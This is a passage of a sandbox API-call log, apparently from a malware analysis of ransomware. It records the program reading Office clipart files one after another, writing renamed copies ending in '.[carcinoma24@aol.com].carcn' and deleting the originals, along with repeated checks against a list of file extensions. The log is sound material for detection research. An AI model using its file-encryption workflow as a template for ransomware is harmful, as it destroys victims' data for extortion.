Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.049] lstrlenW (lpString=".zip") returned 4 [0270.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.049] lstrlenW (lpString=".rar") returned 4 [0270.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.049] lstrlenW (lpString=".bz2") returned 4 [0270.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.049] lstrlenW (lpString=".7z") returned 3 [0270.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.050] lstrlenW (lpString=".dbf") returned 4 [0270.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.050] lstrlenW (lpString=".1cd") returned 4 [0270.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.050] lstrlenW (lpString=".jpg") returned 4 [0270.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.050] lstrlenW (lpString=".doc") returned 4 [0270.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.050] lstrlenW (lpString=".docx") returned 5 [0270.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.050] lstrlenW (lpString=".pdf") returned 4 [0270.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.051] lstrlenW (lpString=".xls") returned 4 [0270.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.051] lstrlenW (lpString=".xlsx") returned 5 [0270.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.051] lstrlenW (lpString=".ppt") returned 4 [0270.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.051] lstrlenW (lpString=".zip") returned 4 [0270.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.051] lstrlenW (lpString=".rar") returned 4 [0270.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.051] lstrlenW (lpString=".bz2") returned 4 [0270.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.051] lstrlenW (lpString=".7z") returned 3 [0270.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.052] lstrlenW (lpString=".dbf") returned 4 [0270.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.052] lstrlenW (lpString=".1cd") returned 4 [0270.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0270.052] lstrlenW (lpString=".jpg") returned 4 [0270.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.052] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.052] lstrlenW (lpString="BS00443_.WMF") returned 12 [0270.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.094] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1676) returned 1 [0270.094] CloseHandle (hObject=0x530) returned 1 [0270.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0270.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.098] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.098] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0270.099] GetLastError () returned 0x0 [0270.099] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x68c, lpOverlapped=0x0) returned 1 [0270.101] WriteFile (in: hFile=0x374, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x690, lpOverlapped=0x0) returned 1 [0270.102] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.103] WriteFile (in: hFile=0x374, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.103] SetEndOfFile (hFile=0x374) returned 1 [0270.103] CloseHandle (hObject=0x374) returned 1 [0270.103] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.103] SetEndOfFile (hFile=0x530) returned 1 [0270.106] CloseHandle (hObject=0x530) returned 1 [0270.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0270.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.108] lstrlenW (lpString=".doc") returned 4 [0270.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.108] lstrlenW (lpString=".docx") returned 5 [0270.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.108] lstrlenW (lpString=".pdf") returned 4 [0270.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.108] lstrlenW (lpString=".xls") returned 4 [0270.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.109] lstrlenW (lpString=".xlsx") returned 5 [0270.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.109] lstrlenW (lpString=".ppt") returned 4 [0270.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.109] lstrlenW (lpString=".zip") returned 4 [0270.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.109] lstrlenW (lpString=".rar") returned 4 [0270.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString=".bz2") returned 4 [0270.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString=".7z") returned 3 [0270.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.109] lstrlenW (lpString=".dbf") returned 4 [0270.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.109] lstrlenW (lpString=".1cd") returned 4 [0270.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.109] lstrlenW (lpString=".jpg") returned 4 [0270.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.110] lstrlenW (lpString=".doc") returned 4 [0270.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.110] lstrlenW (lpString=".docx") returned 5 [0270.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.110] lstrlenW (lpString=".pdf") returned 4 [0270.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.110] lstrlenW (lpString=".xls") returned 4 [0270.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.110] lstrlenW (lpString=".xlsx") returned 5 [0270.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.110] lstrlenW (lpString=".ppt") returned 4 [0270.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.110] lstrlenW (lpString=".zip") returned 4 [0270.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.110] lstrlenW (lpString=".rar") returned 4 [0270.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.110] lstrlenW (lpString=".bz2") returned 4 [0270.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.110] lstrlenW (lpString=".7z") returned 3 [0270.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.110] lstrlenW (lpString=".dbf") returned 4 [0270.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.111] lstrlenW (lpString=".1cd") returned 4 [0270.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0270.111] lstrlenW (lpString=".jpg") returned 4 [0270.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.111] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.111] lstrlenW (lpString="BS00444_.WMF") returned 12 [0270.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.121] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3896) returned 1 [0270.121] CloseHandle (hObject=0x530) returned 1 [0270.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0270.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.122] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.122] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0270.123] GetLastError () returned 0x0 [0270.123] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xf38, lpOverlapped=0x0) returned 1 [0270.151] WriteFile (in: hFile=0x374, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf40, lpOverlapped=0x0) returned 1 [0270.152] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.152] WriteFile (in: hFile=0x374, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.153] SetEndOfFile (hFile=0x374) returned 1 [0270.153] CloseHandle (hObject=0x374) returned 1 [0270.153] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.154] SetEndOfFile (hFile=0x530) returned 1 [0270.157] CloseHandle (hObject=0x530) returned 1 [0270.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0270.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.159] lstrlenW (lpString=".doc") returned 4 [0270.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.159] lstrlenW (lpString=".docx") returned 5 [0270.159] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.159] lstrlenW (lpString=".pdf") returned 4 [0270.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.159] lstrlenW (lpString=".xls") returned 4 [0270.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.159] lstrlenW (lpString=".xlsx") returned 5 [0270.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.160] lstrlenW (lpString=".ppt") returned 4 [0270.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.160] lstrlenW (lpString=".zip") returned 4 [0270.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.160] lstrlenW (lpString=".rar") returned 4 [0270.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString=".bz2") returned 4 [0270.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString=".7z") returned 3 [0270.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.160] lstrlenW (lpString=".dbf") returned 4 [0270.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.160] lstrlenW (lpString=".1cd") returned 4 [0270.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.160] lstrlenW (lpString=".jpg") returned 4 [0270.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.161] lstrlenW (lpString=".doc") returned 4 [0270.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.161] lstrlenW (lpString=".docx") returned 5 [0270.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.161] lstrlenW (lpString=".pdf") returned 4 [0270.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.161] lstrlenW (lpString=".xls") returned 4 [0270.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.161] lstrlenW (lpString=".xlsx") returned 5 [0270.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.161] lstrlenW (lpString=".ppt") returned 4 [0270.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.161] lstrlenW (lpString=".zip") returned 4 [0270.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.161] lstrlenW (lpString=".rar") returned 4 [0270.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.161] lstrlenW (lpString=".bz2") returned 4 [0270.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.161] lstrlenW (lpString=".7z") returned 3 [0270.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.161] lstrlenW (lpString=".dbf") returned 4 [0270.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.162] lstrlenW (lpString=".1cd") returned 4 [0270.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0270.162] lstrlenW (lpString=".jpg") returned 4 [0270.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.162] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.162] lstrlenW (lpString="BS00453_.WMF") returned 12 [0270.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.163] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2436) returned 1 [0270.164] CloseHandle (hObject=0x530) returned 1 [0270.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0270.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.164] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.165] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.195] GetLastError () returned 0x0 [0270.195] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x984, lpOverlapped=0x0) returned 1 [0270.262] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x990, lpOverlapped=0x0) returned 1 [0270.264] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.264] WriteFile (in: hFile=0x370, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.264] SetEndOfFile (hFile=0x370) returned 1 [0270.264] CloseHandle (hObject=0x370) returned 1 [0270.264] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.264] SetEndOfFile (hFile=0x530) returned 1 [0270.268] CloseHandle (hObject=0x530) returned 1 [0270.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0270.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.386] lstrlenW (lpString=".doc") returned 4 [0270.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.386] lstrlenW (lpString=".docx") returned 5 [0270.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.386] lstrlenW (lpString=".pdf") returned 4 [0270.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.387] lstrlenW (lpString=".xls") returned 4 [0270.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.387] lstrlenW (lpString=".xlsx") returned 5 [0270.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.387] lstrlenW (lpString=".ppt") returned 4 [0270.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0270.387] lstrlenW (lpString=".zip") returned 4 [0270.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.387] lstrlenW (lpString=".rar") returned 4 [0270.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.387] lstrlenW (lpString=".bz2") returned 4 [0270.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.387] lstrlenW 